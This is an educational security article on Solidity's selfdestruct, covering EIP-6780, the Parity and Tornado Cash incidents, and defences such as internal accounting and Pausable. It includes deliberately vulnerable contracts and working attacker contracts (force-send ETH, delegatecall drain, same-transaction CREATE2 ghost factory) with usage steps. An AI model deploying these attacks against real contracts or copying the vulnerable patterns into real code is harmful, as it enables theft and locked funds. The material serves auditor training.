Self Destruct Attacks

Smart Contract Vulnerability Deep Dive

JohnnyTime
JohnnyTime · Updated June 24, 2026
28 min read
Total Stolen Pending
Last Attack Pending
Latest Victim Pending

Summarize with AI

selfdestruct in Solidity: Complete Guide to Attacks, EIP-6780 & Prevention

In November 2017, a GitHub user accidentally triggered a single unprotected selfdestruct call inside a shared library contract - and froze 513,774 ETH forever (over $1 billion today). Almost every Parity multisig wallet depended on that library. The ETH is still there: untouchable, unspendable, unfixable.

This guide covers what developers and auditors need to know about selfdestruct today: what the Cancun hard fork (March 2024) changed, which attack vectors are still active, and the blindspots that keep catching even senior developers.


What Exactly Is selfdestruct?

selfdestruct is a Solidity built-in that maps to the EVM's SELFDESTRUCT opcode (0xFF). In its original form it did three things in one atomic call:

  1. Sent all of the contract's ETH to a recipient address.

  2. Deleted the contract's bytecode from state.

  3. Cleared all of the contract's storage.

Think of a building demolition: empty the safe, then level the building so the foundation, blueprints, and even the address vanish from the map.

The Cancun upgrade (March 2024) changed the ending. Now the crew just empties the safe and leaves - the building stays standing.

Note: As of Solidity 0.8.18 (February 2023), selfdestruct throws a loud compiler deprecation warning per EIP-6049. It’s basically screaming: Do not use this in new contracts.


Why Should We Still Care About selfdestruct Attacks?

selfdestruct exploits are far from dead. Thousands of legacy contracts still rely on it, one core attack vector (force-sending ETH) survived EIP-6780 untouched, and developers misreading what Cancun actually changed are shipping a fresh generation of logic bugs.

0 ETH
Parity - Frozen Forever
0 Vectors
Distinct Attack Types
2015–2025
Active Threat Period

A Brief History

Understanding selfdestruct requires understanding its evolution. It has been one of the most controversial opcodes in Ethereum's history.

Date Event
July 30, 2015 Ethereum Frontier launches with SUICIDE opcode (0xFF) - full code+storage+ETH wipe
November 2015 EIP-6 published: renames SUICIDESELFDESTRUCT (same behavior, better name)
December 2015 Solidity 0.2.0 adds selfdestruct() as alias for suicide()
November 2017 Parity Multisig Hack: 513,774 ETH frozen via unprotected selfdestruct
November 2018 Solidity 0.5.0 removes suicide() alias entirely - only selfdestruct() remains
August 2021 EIP-3529 (London fork): gas refunds for SELFDESTRUCT removed entirely
November 2022 EIP-6049 published: formal deprecation notice by William Entriken
February 2023 Solidity 0.8.18: compiler begins emitting deprecation warnings
March 2023 EIP-6780 authored by Guillaume Ballet, Vitalik Buterin, Dankrad Feist
March 13, 2024 Cancun hard fork activates - EIP-6780 changes selfdestruct behavior permanently
March 2024 Solidity 0.8.25: default EVM target set to cancun

The history of selfdestruct is the history of Ethereum learning, the hard way, why "easy contract destruction" is a terrible idea at scale.


What Changed in the Cancun Hard Fork (EIP-6780)

This is where most security articles - and most developers - get it wrong.

EIP-6780 (Cancun hard fork, March 13, 2024, block 19,426,587) permanently changed selfdestruct behavior - but did not make it harmless.

💡
The EIP-6780 Rule: After Cancun, selfdestruct only deletes code and storage if called in the same transaction as contract creation. In all other cases, it only transfers ETH. The contract remains alive.

Here is the exact before/after comparison:

Scenario Before Cancun (pre-March 2024) After Cancun (EIP-6780)
selfdestruct in a different tx than creation ✅ Deletes code ❌ Code survives
selfdestruct in a different tx than creation ✅ Clears storage ❌ Storage survives
selfdestruct in a different tx than creation ✅ Removes account ❌ Account survives
selfdestruct in a different tx than creation ✅ Transfers ETH ETH still transfers
selfdestruct in the same tx as creation ✅ Full wipe ✅ Full wipe (unchanged)

Why the change? Ethereum's planned move to Verkle Trees scatters contract storage across many independent leaf nodes, making bulk-deletion in one opcode impractical. So EIP-6780 dropped the deletion behavior but kept ETH transfers, which are just a balance update and stay Verkle-compatible.

What this means for you: post-Cancun, calling selfdestruct on an existing contract creates a zombie contract - ETH drained, but code and storage still alive. Any protocol that used selfdestruct as a "kill switch" to wipe state is now silently broken.

Auditor Warning: Any smart contract with an emergency shutdown that relies on selfdestruct to clean up state is broken on all contracts deployed before Cancun (March 2024). The ETH drains. The contract keeps running.
Self-destruct attack diagram - Same opcode, two endings: what selfdestruct leaves behind
Same opcode, two endings: what selfdestruct leaves behind

The Three Attack Vectors

Most articles treat "selfdestruct attack" as a single thing. There are actually three distinct vulnerabilities. You need to understand all three because they have different root causes, different impacts, and different mitigations.

1
Force-Send ETH
"Attacker breaks balance-dependent logic by forcibly injecting ETH that bypasses receive/fallback"
Still Active: Yes (post-Cancun)
2
Unprotected selfdestruct
"An attacker gains ownership of (or direct access to) a contract with no access control on its selfdestruct"
Still Active: Yes (ETH theft)
3
CREATE2 Ghost Contract
"Deploy a benign contract at a deterministic address, get it approved, then re-deploy malicious code at the same address"
Still Active: Partially (same-tx only)

The Real World Hacks That Shook the Chain

The Parity Multisig Freeze - November 6, 2017

Attribute Detail
Date November 6–7, 2017
Impact 513,774 ETH frozen permanently (~$1.39B at 2025 prices)
Actor GitHub user @devops199 (claimed accidental)
Library address 0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4
Root cause Unprotected selfdestruct (labelled kill()) on an uninitialized shared library contract

Parity's multisig used a common pattern: all logic lived in one shared library contract, and each user wallet was a thin proxy that delegatecall-ed into it. Gas-efficient - and, it turned out, catastrophic.

That library had two fatal flaws:

  1. initWallet() had no guard against being called directly on the library (it was meant only for proxies).

  2. kill() called suicide(_to), guarded only by an onlymanyowners modifier.

Nobody had ever called initWallet() on the library itself, so its ownership was a blank slate. Anyone could call it, set _required = 1, and become the sole owner - then a single signature triggered kill().

// The actual Parity library code (simplified, pre-Solidity 0.5)
// pragma solidity ^0.4.x

function initWallet(address[] _owners, uint _required, uint _daylimit) {
    // VULNERABILITY: No check preventing initialization of the implementation directly.
    // Anyone can call this on the implementation contract and become owner #1
    // with _required = 1, enabling single-sig approval of the kill() call below.
    initMultiowned(_owners, _required);
    initDaylimit(_daylimit);
}

function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    // With _required = 1 (set above), this passes with a single caller.
    // Pre-Cancun: this wiped ALL code and storage from the library address.
    // Every proxy pointing here became permanently bricked.
    suicide(_to);  // ← old syntax for selfdestruct
}

When kill() ran, the library vanished. Over 300 multisig wallets that delegatecall-ed to it suddenly pointed at empty space. They weren't drained - they were bricked: the logic they needed to withdraw no longer existed.

The community debated EIP-999, a targeted hard fork to recover the funds, but rejected it in the spirit of "code is law." The 513,774 ETH remains frozen to this day.

Tornado Cash Governance Takeover: The 2023 Phantom Assault

Attribute Detail
Date May 20, 2023
Impact ~430 ETH (~$750,000) stolen; absolute governance takeover
Attack type Metamorphic contract via CREATE2 + selfdestruct
Root cause The DAO innocently green-lit a "friendly" proposal contract, only to have it ripped out and replaced with demonic code at the exact same address.

This exploit accelerated EIP-6780. The attacker ran a CREATE2 + selfdestruct bait-and-switch:

  1. Deployed a deployer contract via CREATE2 (0x7dc8...).

  2. The deployer created a harmless-looking governance proposal at a deterministic address (0xC503...).

  3. The DAO audited the proposal and voted to execute 0xC503....

  4. The attacker called selfdestruct on the deployer, resetting its nonce to 0.

  5. They redeployed the same deployer to the same CREATE2 address - the wiped state made the math line up again.

  6. That deployer now created malicious code at the same 0xC503... address.

  7. The DAO hit "Execute" on its approved proposal - but the code underneath had been swapped.

The swapped code minted 10,000 TORN to 50 attacker wallets, giving the attacker 1.2M votes vs the community's 700k - a full governance takeover.

This attack is now blocked by EIP-6780. The key step - selfdestructing the deployer in a separate transaction to reset its nonce - no longer clears code or storage post-Cancun. The nonce cannot be reset, so re-deployment to the same address fails. EIP-6780 was specifically motivated by this class of attack.

Attack Vector 1: The Force-Send ETH Breach

Status post-Cancun: ALIVE AND KICKING

Far and away the most common - and still entirely lethal - variant of the selfdestruct exploit is the force-send attack. Even though EIP-6780 neutered the code-deleting part of the opcode, selfdestruct still forcibly transfers ETH. This means an attacker can aggressively shove ETH directly into a target contract’s balance, completely bypassing the contract's protective receive() or fallback() logic.

How The Attack Unfolds

1
Tap to reveal
Hunt for Strict Balances

The attacker scans the blockchain for contracts operating on strict equality checks like address(this).balance == exactAmount. These strict balances are often used to trigger jackpot payouts, game states, or internal accounting.

2
Tap to reveal
Load the Weapon

The attacker deploys a throwaway contract and loads it up with ETH. It doesn't take much - even a single, pathetic wei is enough to tip the scales and completely invalidate the target's internal math.

3
Tap to reveal
Pull the Trigger: selfdestruct()

The throwaway contract executes selfdestruct(payable(targetAddress)). The EVM immediately blasts the ETH directly into the target's balance. Crucially, the target's receive() and fallback() functions are left completely in the dark, giving the target zero opportunity to revert the unwanted transfer.

4
Tap to reveal
Logic Successfully Broken

The target contract's core logic is permanently ruined. That condition demanding == 7 ether will fail forever because the attacker pushed the balance to 7 ether + 1 wei. User interactions can no longer right the ship - the contract is essentially dead in the water.

Watch One Wei Break the Game

{
  "title": "🎬 One forced wei breaks exact-balance logic",
  "stage": { "width": 920, "height": 440 },
  "nodes": [
    { "id": "players", "label": "Players", "role": "deposit 1 ETH each", "emoji": "🧑‍🤝‍🧑", "x": 70, "y": 190, "color": "blue" },
    { "id": "game", "label": "The Game", "role": "balance == 7 ETH wins", "emoji": "🎰", "x": 430, "y": 190, "color": "cyan" },
    { "id": "attacker", "label": "Force Sender", "role": "throwaway + 1 wei", "emoji": "🧑‍💻", "x": 430, "y": 350, "color": "red" }
  ],
  "links": [
    { "from": "players", "to": "game" },
    { "from": "attacker", "to": "game" }
  ],
  "nets": [
    { "id": "balance", "label": "Game balance" },
    { "id": "winner", "label": "Winner" }
  ],
  "legend": [
    { "cls": "call", "label": "call / deploy" },
    { "cls": "token", "label": "ETH moved" },
    { "cls": "sig", "label": "state write" },
    { "cls": "fail", "label": "logic broken" }
  ],
  "scenarios": {
    "Vulnerable (balance-driven)": [
      { "note": "Six players deposited 1 ETH each. One more honest deposit should hit <b>7 ETH</b> and crown a winner.", "hi": ["players","game"], "bal": { "game": "6 ETH" }, "net": { "balance": "6 ETH", "winner": "none yet" } },
      { "note": "Attacker deploys a throwaway <b>ForceEtherSender</b> funded with a single <b>wei</b>.", "hi": ["attacker"], "chip": { "from": "attacker", "to": "attacker", "label": "deploy + 1 wei", "cls": "call" }, "bal": { "attacker": "1 wei" } },
      { "note": "It calls <b>selfdestruct(game)</b>. The EVM pushes the wei into the game balance without running receive()/fallback(), so the game cannot reject it.", "tone": "bad", "hi": ["attacker","game"], "chip": { "from": "attacker", "to": "game", "label": "selfdestruct: +1 wei", "cls": "token" }, "bal": { "attacker": "0", "game": "6 ETH + 1 wei" }, "net": { "balance": "6 ETH + 1 wei" } },
      { "note": "The 7th player deposits 1 ETH. The balance becomes <b>7 ETH + 1 wei</b>, so <code>== 7 ether</code> is never true.", "tone": "bad", "hi": ["players","game"], "chip": { "from": "players", "to": "game", "label": "deposit 1 ETH", "cls": "token" }, "bal": { "game": "7 ETH + 1 wei" }, "net": { "balance": "7 ETH + 1 wei", "winner": "impossible" } },
      { "note": "No winner is set, <b>claimReward()</b> never passes, and every depositor's ETH stays locked.", "tone": "bad", "hi": ["game"], "net": { "winner": "never" } }
    ],
    "Fixed (internal accounting)": [
      { "note": "SecureEtherGame tracks <b>_trackedBalance</b>, updated only inside deposit(). Six deposits means 6 ETH tracked.", "hi": ["players","game"], "bal": { "game": "tracked: 6 ETH" }, "net": { "balance": "6 ETH", "winner": "none yet" } },
      { "note": "The attacker force-sends 1 wei as before. The raw balance rises, but tracked balance does not.", "tone": "ok", "hi": ["attacker","game"], "chip": { "from": "attacker", "to": "game", "label": "selfdestruct: +1 wei", "cls": "token" }, "bal": { "game": "tracked: 6 ETH" } },
      { "note": "Because <b>_trackedBalance</b> ignores force-fed ETH, game logic still sees exactly 6 ETH.", "tone": "ok", "hi": ["game"], "net": { "balance": "6 ETH (tracked)" } },
      { "note": "The 7th deposit makes _trackedBalance hit <b>7 ETH</b>, crowns the winner, and leaves the forced wei irrelevant.", "tone": "ok", "hi": ["players","game"], "chip": { "from": "players", "to": "game", "label": "deposit 1 ETH", "cls": "token" }, "bal": { "game": "tracked: 7 ETH" }, "net": { "winner": "Player 7" } }
    ]
  }
}

The "Do Not Deploy This" Vulnerable Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// VULNERABLE: uses address(this).balance directly as game logic.
// An attacker force-sends ETH via selfdestruct, skipping the balance
// past TARGET_AMOUNT and locking all funds. Still works post-Cancun
// (EIP-6780 only changed code/storage deletion, not ETH transfer).
contract VulnerableEtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    address public winner;

    function deposit() external payable {
        require(msg.value == 1 ether, "Must send exactly 1 ETH");

        // VULNERABILITY: address(this).balance is manipulable via selfdestruct.
        // If an attacker sends 1 wei extra, this condition is never exactly true.
        // The game is permanently locked with no winner and no recoverable funds.
        if (address(this).balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() external {
        require(msg.sender == winner, "Not winner");
        (bool ok, ) = msg.sender.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
    }
}

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// ATTACKER: force-sends ETH via selfdestruct. Post-Cancun the ETH
// transfer still executes perfectly; the target's receive()/fallback()
// are never invoked, so it cannot reject the incoming balance.
contract ForceEtherSender {
    receive() external payable {}

    function attack(address payable _target) external {
        // Even post-EIP-6780: ETH is forcibly transferred.
        // The target has no defense against this.
        selfdestruct(_target);
    }
}

// Usage:
// 1. Deploy ForceEtherSender with { value: 1 wei }
// 2. Call attack(address(vulnerableEtherGame))
// 3. The game's balance is now 6 ETH + 1 wei - it can never equal exactly 7 ETH
// 4. All depositors' ETH is permanently locked with no winner possible

The Golden Rule Fix

The fix here is beautifully simple: Never rely on address(this).balance to drive conditional logic. Always track user deposits with an internal tally.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// SECURE: Uses an internal counter instead of the heavily manipulatable address(this).balance
contract SecureEtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    address public winner;

    // SECURE: Track deposits internally. Immune to force-send manipulation
    uint256 private _trackedBalance;

    function deposit() external payable {
        require(msg.value == 1 ether, "Must send exactly 1 ETH");

        // SECURE: _trackedBalance ONLY increases during a legitimate deposit().
        // Any extra ETH force-sent via selfdestruct is completely ignored by this variable.
        _trackedBalance += msg.value;

        if (_trackedBalance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() external {
        require(msg.sender == winner, "Not winner");
        (bool ok, ) = msg.sender.call{value: _trackedBalance}("");
        require(ok, "Transfer failed");
        _trackedBalance = 0;
    }
}

The Golden Rule: Never, ever, under any circumstances use address(this).balance in logic that determines competition winners, unlocks massive withdrawals, validates high-stakes invariants, or controls critical state transitions. Use a private internal variable instead.


Attack Vector 2: The Naked selfdestruct Function

Status post-Cancun: PARTIALLY ACTIVE (The contract survives, but the ETH gets robbed)

This second vector hits contracts that leave a selfdestruct call completely exposed to the public, either directly or through a careless delegatecall. In the security world, this falls under SWC-106.

The Three Flavors of Disater

A
Missing Access Control
"The contract exposes a destroy() function with no onlyOwner or equivalent guard - anyone can call it"
Post-Cancun impact: ETH drained
B
Uninitialized Implementation
"A proxy's implementation contract has a kill function that can be called directly, before or without initialization - the Parity pattern"
Post-Cancun impact: Zombie contract (code stays)
C
delegatecall Trigger
"A contract uses delegatecall to an attacker-controlled address that contains selfdestruct - runs in the calling contract's context, draining its ETH"
Post-Cancun impact: ETH drained

Vulnerable Code: Direct Unprotected selfdestruct

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// ============================================================
// VULNERABLE: No access control on selfdestruct
// ANY caller can invoke destroy() and drain all ETH.
// Post-Cancun: code/storage stay, but ETH is gone.
// ============================================================
contract NoAccessControl {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // VULNERABILITY: No require(msg.sender == owner).
    // Any wallet or contract can call this and drain all ETH.
    // Post-Cancun: contract code still exists after the call,
    // but address(this).balance becomes 0. User withdrawals fail.
    function destroy(address payable beneficiary) external {
        selfdestruct(beneficiary); // ← ETH stolen by attacker
    }
}

Vulnerable Code: delegatecall Path

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// VULNERABLE: delegatecall to an attacker-controlled address.
// selfdestruct executed via delegatecall runs in the CALLING
// contract's context, so the victim's ETH is sent to the
// attacker's beneficiary. A known risk in the Solidity docs.
contract VulnerableDelegatecall {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // VULNERABILITY: _impl is user-supplied - no validation that it
    // is a trusted contract. Attacker supplies their own contract
    // containing selfdestruct(attacker), which runs with THIS
    // contract's storage, balance, and identity.
    function execute(address _impl, bytes calldata _data) external {
        require(msg.sender == owner, "Not owner");
        // If owner's key is compromised, or if ownership tracking is flawed,
        // this line lets selfdestruct drain THIS contract's ETH.
        (bool ok, ) = _impl.delegatecall(_data);
        require(ok, "Delegatecall failed");
    }
}

// Attacker deploys this and supplies its address to execute():
contract MaliciousImpl {
    function drain(address payable beneficiary) external {
        selfdestruct(beneficiary); // runs in VulnerableDelegatecall's context
    }
}

Attack Vector 3: CREATE2 + selfdestruct (Ghost Contract)

Status post-Cancun: SAME-TRANSACTION VARIANT STILL ACTIVE

This is the most sophisticated attack vector and the least understood. It exploits the deterministic addressing property of CREATE2 combined with selfdestruct's ability to clear contract state.

The Pre-Cancun "Metamorphic Contract" Attack (Now Mostly Blocked)

Before March 2024, an attacker could swap contract code at a known address:

Step 1: Deploy BenignContract at address X using CREATE2(factory, salt, benignCode)
Step 2: Address X is audited, whitelisted, or approved by a governance vote
Step 3: Call selfdestruct() on X (separate transaction) → code/storage wiped, nonce reset
Step 4: CREATE2(factory, same salt, maliciousCode) → same address X (nonce was 0)
Step 5: Malicious code now executes at the "trusted" address X

This specific sequence no longer works after EIP-6780. Step 3 fails silently post-Cancun: the selfdestruct call executes, ETH transfers out, but code remains. The nonce is not reset. Step 4 would target a non-empty address - the CREATE2 deployment fails.

The Remaining Vector: Same-Transaction Ghost Contract

EIP-6780 preserved full selfdestruct behavior when called in the same transaction as contract creation. This enables the "ghost contract" pattern:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IVault {
    function donate(address recipient) external payable;
}

// GHOST ATTACKER: deploys and selfdestructs in the same transaction.
// Post-Cancun exception: selfdestruct in the same tx as creation
// STILL fully deletes code + storage (EIP-6780 §3 exception).
contract GhostAttacker {
    // Everything runs in the constructor = same transaction as creation.
    // extcodesize(address(this)) is 0 AFTER this tx completes - ghost.
    constructor(address payable _vault, address _beneficiary) payable {
        IVault vault = IVault(_vault);

        // Execute arbitrary logic against the target
        vault.donate{value: msg.value}(_beneficiary);

        // SAME-TRANSACTION EXCEPTION: This FULLY deletes code+storage+ETH.
        // The contract address will show zero bytecode after this tx.
        selfdestruct(payable(_beneficiary));
    }
}

// GHOST FACTORY: deploys ghost contracts at deterministic addresses.
// Because each ghost wipes itself, the same salt can redeploy
// DIFFERENT logic to the same address in the next same-tx cycle.
contract GhostFactory {
    event GhostDeployed(address indexed ghostAddress, bytes32 salt);

    function deployGhost(
        bytes32 salt,
        address payable vault,
        address beneficiary
    ) external payable {
        // CREATE2: address is deterministic.
        // After GhostAttacker selfdestructs (same tx), the address is clean.
        // A new ghost with DIFFERENT logic can be deployed to the same address.
        address ghost = address(new GhostAttacker{salt: salt, value: msg.value}(vault, beneficiary));
        emit GhostDeployed(ghost, salt);
    }

    function computeGhostAddress(
        bytes32 salt,
        address vault,
        address beneficiary
    ) external view returns (address) {
        bytes memory initCode = abi.encodePacked(
            type(GhostAttacker).creationCode,
            abi.encode(vault, beneficiary)
        );
        return address(uint160(uint256(keccak256(abi.encodePacked(
            bytes1(0xff),
            address(this),
            salt,
            keccak256(initCode)
        )))));
    }
}

Why this matters: The factory can deploy a new ghost with different bytecode to the same deterministic address every time, because each ghost wipes its own code in the same transaction. Systems that whitelist or verify deployment addresses without re-validating bytecode after each interaction remain vulnerable.

Auditor note: Any protocol that caches contract addresses from CREATE2 deployments and does not re-verify extcodehash before every call is potentially vulnerable to ghost contract logic substitution, even post-Cancun.

Prevention Techniques

Effectiveness Against Force-Send ETH95/100

What: Replace any logic that reads address(this).balance with an internal accounting variable that only changes on authorized calls - a uint256 private _deposited incremented on deposit(), decremented on withdraw().

Limitation: Contracts that must track all incoming ETH (protocol revenue, MEV) should still use internal accounting and treat any surplus as unaccounted income.

Replaces selfdestruct Emergency Stop90/100

What: OpenZeppelin's Pausable gives role-controlled _pause()/_unpause(); gate state-changing functions with whenNotPaused. It replaces the selfdestruct kill switch without destroying state or locking funds - reversible, auditable, and it keeps an emergencyWithdraw() path open.

Limitation: A trusted role calls pause() - use multi-sig or a DAO for the PAUSER_ROLE.

Prevents Unauthorized Destruction88/100

What: Guard any function that calls selfdestruct with onlyOwner, a role modifier, or multi-sig - never leave it bare in a public/external function. Prefer Ownable2Step over Ownable to avoid losing ownership to a typo.

Limitation: Access control stops external calls but not delegatecall from a compromised proxy - audit every delegatecall path that could reach a selfdestruct.

Replaces CREATE2+selfdestruct Upgrades85/100

What: Proxy patterns (UUPS/ERC-1967, Transparent proxy, Diamond/EIP-2535) replace logic without destroying the contract, changing its address, or wiping storage - so integrators never re-approve a new address. EIP-6780's own Security Considerations say to use ERC-2535 or other proxies instead of CREATE2 + selfdestruct.

Limitation: Proxies add complexity (storage collisions, upgrade-key management) - use OpenZeppelin's hardened implementations, don't roll your own.

Detects Ghost Contract Substitution75/100

What: When you whitelist a contract, store its extcodehash at approval time and re-check before every sensitive call: bytes32 approvedHash = addr.codehash; then require(addr.codehash == approvedHash, "Code changed");. A changed hash means the code was swapped.

Limitation: extcodesize alone is useless (it's 0 during construction); extcodehash is better but not a substitute for sound architecture.


Secure Code Examples

Secure Vault: Pausable + Role-Based Access Control

This replaces the selfdestruct "emergency stop + ETH recovery" pattern with role-based access control instead of contract destruction:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

// SECURE: Pausable vault - replaces the selfdestruct kill-switch.
// Emergency stop is reversible, user funds stay reachable via
// emergencyWithdraw(), history is preserved, and no single key can
// destroy the contract or wipe its storage.
contract SecureVault is Pausable, AccessControl, ReentrancyGuard {
    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");

    // SECURE: Internal accounting - immune to force-send ETH attacks
    mapping(address => uint256) public balances;
    uint256 private _totalDeposited;

    event Deposited(address indexed user, uint256 amount);
    event Withdrawn(address indexed user, uint256 amount);

    constructor(address admin, address pauser) {
        _grantRole(DEFAULT_ADMIN_ROLE, admin);
        _grantRole(PAUSER_ROLE, pauser);
    }

    function deposit() external payable whenNotPaused {
        require(msg.value > 0, "Must deposit ETH");
        // SECURE: Tracks deposits internally - not address(this).balance
        balances[msg.sender] += msg.value;
        _totalDeposited += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external whenNotPaused nonReentrant {
        require(balances[msg.sender] >= amount, "Insufficient");
        // SECURE: CEI - update state before external call
        balances[msg.sender] -= amount;
        _totalDeposited -= amount;
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
        emit Withdrawn(msg.sender, amount);
    }

    // SECURE: Emergency exit - works even when paused.
    // Users can always recover their funds, unlike post-selfdestruct scenarios.
    function emergencyWithdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");
        balances[msg.sender] = 0;
        _totalDeposited -= amount;
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");
    }

    function pause()   external onlyRole(PAUSER_ROLE) { _pause(); }
    function unpause() external onlyRole(PAUSER_ROLE) { _unpause(); }
}

Defense Comparison: Before and After

Broken Post-Cancun

selfdestruct Kill Switch

Calling selfdestruct on an existing contract after Cancun only drains ETH. Code and storage survive. The "kill" does nothing except empty the balance - contract keeps running as a zombie.

Acceptable (With Caveats)

Boolean disabled Flag

A bool public disabled flag + modifier prevents new operations but doesn't protect funds if the modifier is missing from any function. Simpler but requires rigorous function coverage.

Recommended

OpenZeppelin Pausable + RBAC

Battle-tested, audited, reversible. Supports multi-sig for the PAUSER_ROLE. Automatically inherited across all whenNotPaused-guarded functions. Users retain emergency withdrawal access.


Common Misconceptions

?

"selfdestruct was removed in the Cancun upgrade."

Tap to reveal
MYTH

selfdestruct was not removed - it was restricted. It still compiles and executes. Post-Cancun, calling it on an existing contract only transfers ETH (code and storage survive). The opcode is deprecated via EIP-6049, not removed.

?

"Force-sending ETH via selfdestruct no longer works after EIP-6780."

Tap to reveal
MYTH

The ETH transfer component of selfdestruct was not changed by EIP-6780. Force-sending ETH to break balance-dependent logic is fully active post-Cancun. EIP-6780 only restricted the code/storage deletion behavior.

?

"selfdestruct gives a gas refund - calling it saves on transaction costs."

Tap to reveal
MYTH

Gas refunds for SELFDESTRUCT were completely removed in the London hard fork (August 2021) via EIP-3529 - well before Cancun. This misconception comes from pre-2021 content still circulating online. There is zero gas benefit to using selfdestruct today.

?

"After selfdestruct, a contract at that address is completely gone - no code, no history."

Tap to reveal
MYTH (Post-Cancun)

Post-Cancun: calling selfdestruct on a pre-existing contract leaves a zombie contract - bytecode intact, storage intact, account exists. The only change is the ETH balance is 0. Even pre-Cancun, the transaction history always remained on-chain - blockchain data is immutable.


Knowledge Check

Test Your selfdestruct IQ

5 questions. How well do you understand this deprecated-but-dangerous opcode?

Question 1 of 5

FAQ

No - selfdestruct is deprecated but not removed. Since Solidity 0.8.18 (February 2023), the compiler emits a deprecation warning per EIP-6049. The keyword still compiles and executes; the warning signals that future EVM upgrades may remove it entirely. Any use in newly deployed contracts is strongly discouraged.

Since the Cancun hard fork on March 13, 2024 (EIP-6780), calling selfdestruct on an existing contract in a separate transaction only transfers the contract's ETH balance to the specified address. The contract's code, storage, and account are not deleted. The only exception is when selfdestruct is called within the same transaction that created the contract - in that case, full classic deletion still applies.

Yes - force-sending ETH via selfdestruct still works post-Cancun because the ETH transfer portion of the opcode is unchanged. Any contract with security logic based on address(this).balance remains vulnerable. Additionally, the same-transaction creation+destruction pattern is still fully functional for ghost contract attacks.

Force-sending ETH means using selfdestruct(targetAddress) to push ETH into a contract without triggering its receive() or fallback() functions. This is dangerous because the target contract cannot reject the transfer, cannot log it in the same way as a regular deposit, and any logic based on address(this).balance can be permanently broken - for example, a prize pool that checks for an exact balance will never reach that exact amount again.

Use a state variable flag (bool public paused) combined with OpenZeppelin's Pausable contract to block new operations while preserving existing state. For upgrade patterns that previously used CREATE2 + selfdestruct, use proxy patterns: OpenZeppelin's UUPS, Transparent Proxy, or the Diamond Standard (EIP-2535). These provide logic replacement at the same address without destroying state.

The "metamorphic contract" attack deployed safe code at a deterministic CREATE2 address, got it approved, then selfdestructed to reset its nonce and redeploy malicious code at the same address. This was exploited in the Tornado Cash governance attack (May 2023). EIP-6780 blocks the cross-transaction version of this attack because selfdestruct no longer resets a contract's nonce in a separate transaction. However, the same-transaction variant (deploy+destroy atomically) still fully wipes code, enabling address reuse within a single transaction.

It depends on when it's called. Post-Cancun (after March 13, 2024): calling selfdestruct on a pre-existing contract does NOT delete storage - the contract becomes a zombie with intact storage and zero ETH. Exception: if selfdestruct is called in the same transaction as contract creation, storage IS deleted as in the original pre-Cancun behavior.

Yes - this is one of the most dangerous patterns. When selfdestruct executes via delegatecall, it runs in the context of the calling contract, not the target contract. The calling contract's ETH is drained (post-Cancun). Pre-Cancun, the calling contract's code and storage would be wiped. This is why delegatecall to untrusted addresses must always be treated as a critical security risk - if the target contains any selfdestruct path, it executes on your contract's behalf.


Quick Reference Checklist

Use this before deploying any contract that handles ETH:

  • No address(this).balance in conditional logic - use an internal accounting variable

  • No exposed selfdestruct call - if retained, must be protected by multi-sig or role-based access

  • No delegatecall to untrusted or upgradeable addresses - validate bytecode hash, not just address

  • Emergency stop uses Pausable pattern - not selfdestruct (post-Cancun kill-switch is broken)

  • Upgrade pattern uses proxy (UUPS/Transparent/Diamond) - not CREATE2 + selfdestruct

  • If using CREATE2: store and re-validate extcodehash before each sensitive call to deployed contracts

  • Compiler warning check: run solc --strict-assembly or check for TypeChecker: selfdestruct deprecation warning in build output

  • Audit delegatecall paths: trace every possible delegatecall target for reachable selfdestruct opcodes


Conclusion

selfdestruct is one of Ethereum's most consequential design choices - and one of its most important ongoing lessons.

The Parity hack frozen $1.39B worth of ETH permanently. The Tornado Cash attack used selfdestruct-enabled contract address manipulation to hijack governance. And today, after the Cancun hard fork, the opcode is half-neutered but still dangerous.

The three things every developer and auditor must internalize:

  1. Force-sending ETH still works. EIP-6780 did not change ETH transfers. If your contract uses address(this).balance for any security logic, it is vulnerable.

  2. Post-Cancun selfdestruct makes zombie contracts. Calling it on an existing contract only drains ETH. If your "kill switch" relied on wiping code and storage - your kill switch is broken.

  3. The metamorphic contract attack is now blocked for cross-transaction sequences - but same-transaction ghost contracts are still fully operational. Whitelist systems validating contract addresses must re-validate bytecode hashes, not addresses.

The deprecation will eventually become removal. Until then: stop writing selfdestruct. Use Pausable. Use proxies. Use internal accounting.


Want to find these vulnerabilities yourself? The Smart Contract Hacking course trains you to audit real-world contracts with hands-on exercises covering selfdestruct attacks, reentrancy, flash loans, oracle manipulation, and 30+ other live attack vectors. Join 2,000+ security researchers already in the community.

🔒
Practice What You Learned: The SCH course includes hands-on Hardhat exercises where you exploit a live VulnerableEtherGame contract using force-send attacks, and build the secure replacement. Theory is worthless without practice - start with a free trial.

  • Reentrancy Attacks - External calls before state updates; shares the "unexpected ETH flow" root cause

  • Flash Loan Attacks - Large uncollateralized loans enabling one-transaction oracle manipulation; shares the "atomic exploit" architecture with CREATE2 ghost contracts

  • Access Control Vulnerabilities - Missing ownership checks; the direct cause of the Parity kill() vulnerability

